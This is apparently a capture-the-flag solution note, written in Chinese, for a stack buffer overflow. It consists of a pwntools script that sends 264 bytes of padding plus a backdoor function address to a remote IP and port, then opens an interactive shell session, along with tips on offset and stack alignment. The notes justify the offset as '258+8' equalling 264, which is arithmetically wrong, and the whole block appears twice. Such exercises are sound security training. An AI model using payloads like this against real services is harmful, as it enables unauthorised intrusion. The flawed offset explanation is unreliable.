from pwn import *
io = remote("39.106.48.123", 29826)
payload = b"A"*264 + p64(0x401202)
io.sendline(payload)
io.interactive()
264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址
注意:1.一定不要忘记加8个字节 2.如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位
from pwn import *
io = remote("39.106.48.123", 29826)
payload = b"A"*264 + p64(0x401202)
io.sendline(payload)
io.interactive()
264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址
注意:1.一定不要忘记加8个字节 2.如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位